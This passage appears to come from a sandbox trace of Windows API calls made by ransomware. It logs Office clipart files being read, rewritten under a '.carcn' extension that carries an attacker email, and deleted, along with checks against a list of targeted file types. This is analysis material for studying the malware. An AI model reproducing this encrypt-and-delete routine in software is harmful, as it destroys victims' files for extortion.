Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 0x220 [0296.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.163] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.163] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0296.163] GetLastError () returned 0x0 [0296.163] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x4fe6, lpOverlapped=0x0) returned 1 [0296.518] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4ff0, lpOverlapped=0x0) returned 1 [0296.519] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.519] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.520] SetEndOfFile (hFile=0x340) returned 1 [0296.520] CloseHandle (hObject=0x340) returned 1 [0296.520] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.520] SetEndOfFile (hFile=0x364) returned 1 [0296.521] CloseHandle (hObject=0x364) returned 1 [0296.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1 [0296.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.522] lstrlenW (lpString=".doc") returned 4 [0296.522] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0296.522] lstrlenW (lpString=".docx") returned 5 [0296.522] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0296.522] lstrlenW (lpString=".pdf") returned 4 [0296.522] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0296.522] lstrlenW (lpString=".xls") returned 4 [0296.522] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0296.522] lstrlenW (lpString=".xlsx") returned 5 [0296.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0296.522] lstrlenW (lpString=".ppt") returned 4 [0296.522] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0296.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.523] lstrlenW (lpString=".zip") returned 4 [0296.523] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0296.523] lstrlenW (lpString=".rar") returned 4 [0296.523] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0296.523] lstrlenW (lpString=".bz2") returned 4 [0296.523] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0296.523] lstrlenW (lpString=".7z") returned 3 [0296.523] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0296.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.523] lstrlenW (lpString=".dbf") returned 4 [0296.523] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0296.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.523] lstrlenW (lpString=".1cd") returned 4 [0296.523] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0296.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.523] lstrlenW (lpString=".jpg") returned 4 [0296.523] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0296.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.523] lstrlenW (lpString=".doc") returned 4 [0296.523] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0296.523] lstrlenW (lpString=".docx") returned 5 [0296.523] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0296.523] lstrlenW (lpString=".pdf") returned 4 [0296.523] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0296.523] lstrlenW (lpString=".xls") returned 4 [0296.523] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0296.523] lstrlenW (lpString=".xlsx") returned 5 [0296.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0296.523] lstrlenW (lpString=".ppt") returned 4 [0296.523] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0296.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.524] lstrlenW (lpString=".zip") returned 4 [0296.524] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0296.524] lstrlenW (lpString=".rar") returned 4 [0296.524] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0296.524] lstrlenW (lpString=".bz2") returned 4 [0296.524] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0296.524] lstrlenW (lpString=".7z") returned 3 [0296.524] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0296.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.524] lstrlenW (lpString=".dbf") returned 4 [0296.524] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0296.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.524] lstrlenW (lpString=".1cd") returned 4 [0296.524] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0296.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68 [0296.524] lstrlenW (lpString=".jpg") returned 4 [0296.524] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0296.524] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.524] lstrlenW (lpString="BL00098_.WMF") returned 12 [0296.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.525] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1012) returned 1 [0296.525] CloseHandle (hObject=0x364) returned 1 [0296.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0296.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.525] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.525] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0296.526] GetLastError () returned 0x0 [0296.526] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x3f4, lpOverlapped=0x0) returned 1 [0296.527] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x400, lpOverlapped=0x0) returned 1 [0296.528] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.528] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.528] SetEndOfFile (hFile=0x340) returned 1 [0296.528] CloseHandle (hObject=0x340) returned 1 [0296.529] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.529] SetEndOfFile (hFile=0x364) returned 1 [0296.530] CloseHandle (hObject=0x364) returned 1 [0296.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0296.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.557] lstrlenW (lpString=".doc") returned 4 [0296.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.557] lstrlenW (lpString=".docx") returned 5 [0296.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.558] lstrlenW (lpString=".pdf") returned 4 [0296.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.558] lstrlenW (lpString=".xls") returned 4 [0296.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.558] lstrlenW (lpString=".xlsx") returned 5 [0296.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.558] lstrlenW (lpString=".ppt") returned 4 [0296.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.558] lstrlenW (lpString=".zip") returned 4 [0296.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.558] lstrlenW (lpString=".rar") returned 4 [0296.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.558] lstrlenW (lpString=".bz2") returned 4 [0296.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.558] lstrlenW (lpString=".7z") returned 3 [0296.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.558] lstrlenW (lpString=".dbf") returned 4 [0296.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.558] lstrlenW (lpString=".1cd") returned 4 [0296.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.558] lstrlenW (lpString=".jpg") returned 4 [0296.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.559] lstrlenW (lpString=".doc") returned 4 [0296.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.559] lstrlenW (lpString=".docx") returned 5 [0296.559] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.559] lstrlenW (lpString=".pdf") returned 4 [0296.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.559] lstrlenW (lpString=".xls") returned 4 [0296.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.559] lstrlenW (lpString=".xlsx") returned 5 [0296.559] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.559] lstrlenW (lpString=".ppt") returned 4 [0296.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.559] lstrlenW (lpString=".zip") returned 4 [0296.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.559] lstrlenW (lpString=".rar") returned 4 [0296.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.559] lstrlenW (lpString=".bz2") returned 4 [0296.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.559] lstrlenW (lpString=".7z") returned 3 [0296.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.559] lstrlenW (lpString=".dbf") returned 4 [0296.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.559] lstrlenW (lpString=".1cd") returned 4 [0296.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0296.560] lstrlenW (lpString=".jpg") returned 4 [0296.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.560] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.560] lstrlenW (lpString="BL00105_.WMF") returned 12 [0296.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.560] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=880) returned 1 [0296.560] CloseHandle (hObject=0x364) returned 1 [0296.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0296.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.561] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.561] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0296.562] GetLastError () returned 0x0 [0296.562] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x370, lpOverlapped=0x0) returned 1 [0296.563] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x380, lpOverlapped=0x0) returned 1 [0296.564] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.564] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.564] SetEndOfFile (hFile=0x340) returned 1 [0296.565] CloseHandle (hObject=0x340) returned 1 [0296.565] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.565] SetEndOfFile (hFile=0x364) returned 1 [0296.566] CloseHandle (hObject=0x364) returned 1 [0296.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0296.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.570] lstrlenW (lpString=".doc") returned 4 [0296.570] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.570] lstrlenW (lpString=".docx") returned 5 [0296.570] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.570] lstrlenW (lpString=".pdf") returned 4 [0296.570] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.571] lstrlenW (lpString=".xls") returned 4 [0296.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.571] lstrlenW (lpString=".xlsx") returned 5 [0296.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.571] lstrlenW (lpString=".ppt") returned 4 [0296.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.571] lstrlenW (lpString=".zip") returned 4 [0296.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.571] lstrlenW (lpString=".rar") returned 4 [0296.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.571] lstrlenW (lpString=".bz2") returned 4 [0296.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.571] lstrlenW (lpString=".7z") returned 3 [0296.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.571] lstrlenW (lpString=".dbf") returned 4 [0296.571] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.571] lstrlenW (lpString=".1cd") returned 4 [0296.571] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.571] lstrlenW (lpString=".jpg") returned 4 [0296.571] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.571] lstrlenW (lpString=".doc") returned 4 [0296.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.571] lstrlenW (lpString=".docx") returned 5 [0296.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.572] lstrlenW (lpString=".pdf") returned 4 [0296.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.572] lstrlenW (lpString=".xls") returned 4 [0296.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.572] lstrlenW (lpString=".xlsx") returned 5 [0296.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.572] lstrlenW (lpString=".ppt") returned 4 [0296.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.572] lstrlenW (lpString=".zip") returned 4 [0296.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.572] lstrlenW (lpString=".rar") returned 4 [0296.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.572] lstrlenW (lpString=".bz2") returned 4 [0296.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.572] lstrlenW (lpString=".7z") returned 3 [0296.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.573] lstrlenW (lpString=".dbf") returned 4 [0296.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.573] lstrlenW (lpString=".1cd") returned 4 [0296.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0296.573] lstrlenW (lpString=".jpg") returned 4 [0296.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.573] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.573] lstrlenW (lpString="BL00122_.WMF") returned 12 [0296.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.573] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10146) returned 1 [0296.573] CloseHandle (hObject=0x364) returned 1 [0296.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0296.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.574] CreateFileW 